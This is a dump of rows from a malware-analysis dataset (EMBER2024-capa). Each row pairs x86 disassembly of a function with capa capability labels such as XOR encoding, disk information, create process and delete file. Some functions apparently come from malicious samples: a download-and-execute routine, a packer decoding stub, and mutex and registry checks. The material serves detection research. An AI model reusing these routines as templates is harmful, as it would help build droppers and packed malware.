joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402720
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
mov esi, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
test edi, edi
jle 0x40276a
mov ecx, dword [esp + 0x10]
mov dl, byte [esp + 0x14]
push ebx
push ebp
mov eax, ecx
sub esi, ecx
mov ebp, edi
mov bl, byte [esi + eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec ebp
jne 0x402754
pop ebp
mov byte [edi + ecx], 0
pop ebx
pop edi
pop esi
ret 0xc
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov byte [eax + ecx], 0
ret 0xc

Function at 0x402780
Capabilities:
Get disk information

Disassembly:
sub esp, 0x68
push esi
push edi
push 0
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
push 0xc
push 0
push 0x407148
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x10]
push 0x407144
push edx
call esi
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x402800
push 0x407140
push 0x40713c
push 0x407138
push 0x407134
push 0x407130
push 0x40712c
lea eax, [esp + 0x24]
push str._s_s_s_s_s_s
push eax
call esi
add esp, 0x20
lea ecx, [esp + 0xc]
push ecx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
xor ecx, ecx
test eax, eax
je 0x40282c
push eax
mov esi, 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
add esp, 0x68
ret
pop edi
mov eax, ecx
pop esi
add esp, 0x68
ret
Function at 0x402aa0
Capabilities:
Create process on windows
Delete file

Disassembly:
sub esp, 0x26c
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x71]
mov byte [esp + 0x70], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.00402d10
mov eax, dword [eax + 4]
test eax, eax
jne 0x402ad8
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea ecx, [esp + 0x74]
push 0x40717c
push ecx
call ebp
mov eax, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
je 0x402b13
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x402b0a
cmp al, 0xff
je 0x402b0a
dec al
mov byte [ecx], al
jmp 0x402b13
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov edi, dword [esp + 0x27c]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x70]
mov ecx, esi
push eax
push edi
call fcn.00402c40
test eax, eax
je 0x402c30
lea ecx, [esp + 0x70]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x402c30
xor edx, edx
mov ecx, 0x11
mov dword [esp + 0xc], edx
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0x10], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], edx
mov ecx, 0x40
lea edi, [esp + 0x175]
mov word [esp + 0x5c], ax
mov byte [esp + 0x174], dl
push 0x407178
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x74]
lea ecx, [esp + 0x178]
push eax
push str._s_s
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
mov dword [esp + 0x28], edx
call ebp
add esp, 0x10
lea edx, [esp + 0xc]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x174]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402c30
mov eax, dword [esp + 0x280]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0xc]
shl edx, 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x26c
ret 8
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x26c
ret 8
Function at 0x402d10
Capabilities:
Get common file path

Disassembly:
sub esp, 0x40c
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
xor esi, esi
push eax
push 0x3f5
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push esi
push 0x407180
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ebp, dword [esp + 0x420]
mov al, byte [esp + 0x13]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
mov byte [ebp], al
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp + 4], esi
mov ebx, ecx
mov dword [ebp + 8], esi
cmp ebx, 0xfffffffd
mov dword [ebp + 0xc], esi
jbe 0x402d78
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
mov ecx, dword [ebp + 4]
cmp ecx, esi
je 0x402dab
mov al, byte [ecx - 1]
test al, al
je 0x402dab
cmp al, 0xff
je 0x402dab
cmp ebx, esi
jne 0x402dde
dec al
push esi
mov byte [ecx - 1], al
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40c
ret 4
cmp ebx, esi
jne 0x402dc8
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40c
ret 4
mov eax, dword [ebp + 0xc]
cmp eax, 0x1f
ja 0x402dd4
cmp eax, ebx
jae 0x402de7
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push ebx
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Copy_unsigned_int_]
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
pop edi
pop esi
mov byte [eax + ebx], 0
mov eax, ebp
pop ebp
pop ebx
add esp, 0x40c
ret 4
Function at 0x403470
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
test eax, eax
jle 0x4034d0
mov ebx, dword [esp + 0x14]
xor edi, edi
xor esi, esi
mov ecx, dword [ebx + 4]
test ecx, ecx
jne 0x403491
xor eax, eax
jmp 0x403499
mov eax, dword [ebx + 8]
sub eax, ecx
sar eax, 4
cmp edi, eax
jge 0x4034bc
mov ecx, dword [esi + ecx + 4]
test ecx, ecx
jne 0x4034ab
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4034d9
inc edi
add esi, 0x10
jmp 0x403486
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
inc ebp
cmp ebp, eax
jl 0x403482
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 0xc
Function at 0x403980
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10c
lea eax, [esp]
push edi
push eax
push str.SoftwareASD
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
push ecx
stosb byte es:[edi], al
call sub.MFC42.DLL_CTime::GetTickCount
mov eax, dword [eax]
lea edx, [esp + 0xc]
push 0xa
push edx
push eax
call dword [sym.imp.MSVCRT.dll__ltoa]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
mov edx, dword [esp + 4]
dec ecx
push ecx
lea ecx, [esp + 0x10]
push ecx
push 1
push eax
push 0x4071c8
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x10c
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x401840
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x490c89
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x38
push esi
push edi
mov eax, dword [0x4a8040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
mov edi, dword [ebx + 8]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0
push 3
mov dword [ebp - 0x14], 1
call fcn.0043fc50
add esp, 4
call fcn.0043fa90
mov esi, eax
test esi, esi
je 0x4019c9
push dword [ebx + 0xc]
push 0x2712
push esi
call fcn.00444540
add esp, 0xc
push 0
push 0x40
push esi
call fcn.00444540
add esp, 0xc
push 0
push 0x51
push esi
call fcn.00444540
add esp, 0xc
push dword [ebx + 0x10]
push 0x271f
push esi
call fcn.00444540
add esp, 0xc
push 0xf
push 0x4e
push esi
call fcn.00444540
add esp, 0xc
push 1
push 0x13
push esi
call fcn.00444540
add esp, 0xc
push 0xf
push 0x14
push esi
call fcn.00444540
add esp, 0xc
push 0x401350
push 0x4e2b
push esi
call fcn.00444540
add esp, 0xc
push edi
push 0x2711
push esi
call fcn.00444540
add esp, 0xc
push esi
call fcn.0043fad0
add esp, 4
test eax, eax
je 0x4019c0
push eax
call fcn.004404c0
add esp, 4
lea ecx, [ebp - 0x44]
push eax
call fcn.00402060
push str.._Contact_the_administration_
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x2c]
call fcn.004022d0
add esp, 4
mov ecx, eax
push 0x1010
push str.Installer
call fcn.00402000
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x2c]
call fcn.00402010
lea ecx, [ebp - 0x44]
call fcn.00402010
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push esi
call fcn.0043fa50
add esp, 4
call fcn.0043fc10
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xc
Function at 0x4019f0
Capabilities:
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4a8040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], 0
call fcn.0043fa90
mov esi, eax
test esi, esi
je 0x401af4
push edi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push 0x49e854
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x401a62
push esi
call fcn.0043fa50
add esp, 4
push 0x1010
push str.Download
push str.Unable_to_open_file_
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push ebx
push 0x2712
push esi
call fcn.00444540
push 0
push 0x40
push esi
call fcn.00444540
push 0
push 0x51
push esi
call fcn.00444540
push 0x401480
push 0x4e2b
push esi
call fcn.00444540
push edi
push 0x2711
push esi
call fcn.00444540
push 1
push 0x2d
push esi
call fcn.00444540
add esp, 0x48
push esi
call fcn.0043fad0
push edi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea eax, [ebp - 8]
push eax
push 0x200002
push esi
call fcn.0043fa70
add esp, 0x14
test ebx, ebx
je 0x401af4
push ebx
call fcn.004404c0
add esp, 4
push 0x1010
push str.Download
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push esi
call fcn.0043fa50
add esp, 4
call fcn.0043fc10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048f548
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406d80
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov eax, ebx
test edi, edi
je 0x406de1
mov cl, byte [esi]
lea esi, [esi + 1]
dec edi
cmp cl, 0x23
jne 0x406dc4
cmp edi, 2
jb 0x406dc4
cmp byte [esi], cl
jne 0x406dc4
cmp byte [esi + 1], cl
jne 0x406dc4
mov eax, ebx
movzx ecx, cl
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x49f1e8]
jmp 0x406d95
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x49f1e8]
test edi, edi
jne 0x406d95
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x406e10
cmp cl, 0x23
jne 0x406df7
cmp byte [esi], cl
jne 0x406df7
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x49f1e8]
test cl, cl
jne 0x406de8
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x406f40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
je 0x406f54
mov dword [ebx], 0
mov edx, 0x49ed08
call fcn.00406e20
mov esi, eax
test esi, esi
je 0x407042
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push esi
call edi
add esp, 4
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x407038
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x407038
push esi
call edi
mov edi, eax
add esp, 4
mov dword [ebp + 8], edi
cmp edi, 0xffffffff
je 0x407038
push 0
push dword [ebp - 4]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x407038
mov eax, dword [0x591c58]
test eax, eax
je 0x406fcc
inc dword [eax + 0x374]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x407038
push esi
push dword [ebp + 8]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, dword [ebp + 8]
je 0x40701d
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x591c58]
add esp, 4
test eax, eax
je 0x40700a
dec dword [eax + 0x374]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test ebx, ebx
je 0x40702f
mov eax, dword [ebp + 8]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413750
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4a8040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x591c58]
push ebx
mov dword [ebp - 8], ecx
push esi
mov ebx, dword [eax + 0x1c48]
lea esi, [ebp - 8]
push edi
mov edi, 4
mov ecx, dword [ebx + 0xfc]
mov eax, dword [ebx + 0x104]
mov eax, dword [eax + ecx*4 - 4]
not eax
nop dword [eax + eax]
movzx ecx, byte [esi]
lea esi, [esi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x49f1e8]
sub edi, 1
jne 0x413790
not eax
lea ecx, [ebx + 0xfc]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00422e80
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048f548
mov esp, ebp
pop ebp
ret

Function at 0x414100
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4a8040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [0x591c58]
mov ebx, edx
cmp byte [edi + 0x1f5d], 0
jne 0x414154
cmp byte [edi + 0x1f5e], 0
jne 0x414154
push dword [edi + 0x2f80]
lea eax, [ebp - 0x14]
push str.Tooltip__02d
push 0x10
push eax
call fcn.00406d40
add esp, 0x10
test bl, 1
je 0x414275
jmp 0x4141ec
movss xmm1, dword [edi + 0x164c]
lea eax, [ebp - 0x14]
push dword [edi + 0x2f80]
movaps xmm0, xmm1
mulss xmm1, dword [0x4a363c]
push str.Tooltip__02d
mulss xmm0, dword [0x4a3650]
push 0x10
addss xmm1, dword [edi + 0xe8]
push eax
addss xmm0, dword [edi + 0xe4]
mov dword [edi + 0x1cec], 0
mov dword [edi + 0x1cf0], 0
movss dword [edi + 0x1ce8], xmm1
mov dword [edi + 0x1cd4], 1
movss dword [edi + 0x1ce4], xmm0
mov byte [edi + 0x1d0c], 1
movss xmm0, dword [edi + 0x16a8]
mulss xmm0, dword [0x4a357c]
or dword [edi + 0x1cd0], 0x41
movss dword [edi + 0x1d28], xmm0
call fcn.00406d40
add esp, 0x10
mov al, byte [ebp - 0x14]
lea esi, [ebp - 0x13]
or edx, 0xffffffff
test al, al
je 0x414227
or ebx, 0xffffffff
nop dword [eax]
cmp al, 0x23
jne 0x41420e
cmp byte [esi], al
jne 0x41420e
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
mov al, byte [esi]
inc esi
xor edx, dword [ecx*4 + 0x49f1e8]
test al, al
jne 0x414200
mov ecx, dword [0x591c58]
not edx
push edx
lea ecx, [ecx + 0x1c30]
call fcn.00407210
test eax, eax
je 0x414275
cmp byte [eax + 0xc3], 0
je 0x414275
mov byte [eax + 0xca], 1
mov byte [eax + 0xe4], 1
lea eax, [ebp - 0x14]
inc dword [edi + 0x2f80]
push dword [edi + 0x2f80]
push str.Tooltip__02d
push 0x10
push eax
call fcn.00406d40
add esp, 0x10
push 0x22c0347
xor edx, edx
lea ecx, [ebp - 0x14]
call fcn.0040fd80
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0048f548
mov esp, ebp
pop ebp
ret
Function at 0x4183d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
cmp dword [edi + 0x3030], 0
lea esi, [edi + 0x3034]
je 0x418452
mov ecx, dword [esi + 4]
test ecx, ecx
jns 0x41840c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
xor ecx, ecx
test eax, eax
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.00423b50
push dword [ebp + 8]
mov ecx, esi
mov dword [esi], 0
push ebx
call fcn.00407380
mov edx, dword [esi]
mov ecx, 0x591c54
push dword [edi + 0x3030]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [edi + 0x303c]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
mov ecx, esi
push ebx
call fcn.00407380
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418830
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ecx]
or eax, 0xffffffff
mov dword [ebp - 4], ecx
push esi
lea esi, [ecx + 1]
push edi
test bl, bl
je 0x418878
or edi, 0xffffffff
nop dword [eax]
cmp bl, 0x23
jne 0x41885f
cmp byte [esi], bl
jne 0x41885f
cmp byte [esi + 1], bl
cmove eax, edi
movzx edx, al
movzx ecx, bl
mov bl, byte [esi]
xor edx, ecx
shr eax, 8
inc esi
xor eax, dword [edx*4 + 0x49f1e8]
test bl, bl
jne 0x418850
mov ebx, dword [0x591c58]
not eax
mov edi, dword [ebx + 0x3008]
mov esi, edi
neg esi
sbb esi, esi
lea ecx, [edi + 4]
and esi, ecx
je 0x4188b2
cmp dword [esi], eax
je 0x4188c1
mov edx, dword [esi - 4]
mov ecx, dword [ebx + 0x3000]
add edx, esi
add ecx, 4
xor esi, esi
add ecx, edi
cmp edx, ecx
cmovne esi, edx
test esi, esi
jne 0x418893
mov ecx, dword [ebp - 4]
call fcn.00418750
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x4188b2
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42bca0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x42bcda
mov eax, dword [0x591c58]
mov dword [esi + 4], 0
mov dword [esi], 0
test eax, eax
je 0x42bccd
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 8], 0
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x42bd0b
mov eax, dword [0x591c58]
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
test eax, eax
je 0x42bcfe
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x14], 0
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x42bd3c
mov eax, dword [0x591c58]
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
test eax, eax
je 0x42bd2f
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x42bd89
mov eax, dword [0x591c58]
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
test eax, eax
je 0x42bd7c
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x44], 0
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x42bdba
mov eax, dword [0x591c58]
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
test eax, eax
je 0x42bdad
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x50], 0
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x42bdeb
mov eax, dword [0x591c58]
mov dword [esi + 0x58], 0
mov dword [esi + 0x54], 0
test eax, eax
je 0x42bdde
dec dword [eax + 0x374]
push ecx
call edi
add esp, 4
mov dword [esi + 0x5c], 0
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.0042e990
Function at 0x43bbb0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
push esi
push edi
mov edi, edx
je 0x43bc21
mov cl, byte [edi]
lea esi, [edi + 1]
or eax, 0xffffffff
test cl, cl
je 0x43bbf8
or edi, 0xffffffff
nop dword [eax]
cmp cl, 0x23
jne 0x43bbdf
cmp byte [esi], cl
jne 0x43bbdf
cmp byte [esi + 1], cl
cmove eax, edi
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x49f1e8]
test cl, cl
jne 0x43bbd0
mov ecx, dword [0x591c58]
not eax
cmp dword [ecx + 0x1c84], eax
jne 0x43bc0e
mov dword [ecx + 0x1c88], eax
cmp dword [ecx + 0x1cbc], eax
jne 0x43bc66
pop edi
mov byte [ecx + 0x1cc0], 1
pop esi
pop ebp
ret
mov esi, dword [0x591c58]
xor edx, edx
mov eax, dword [esi + 0x1c48]
mov ecx, dword [eax + 0xfc]
mov eax, dword [eax + 0x104]
push dword [eax + ecx*4 - 4]
mov ecx, edi
call fcn.00406d80
add esp, 4
cmp dword [esi + 0x1c84], eax
jne 0x43bc57
mov dword [esi + 0x1c88], eax
cmp dword [esi + 0x1cbc], eax
jne 0x43bc66
mov byte [esi + 0x1cc0], 1
pop edi
pop esi
pop ebp
ret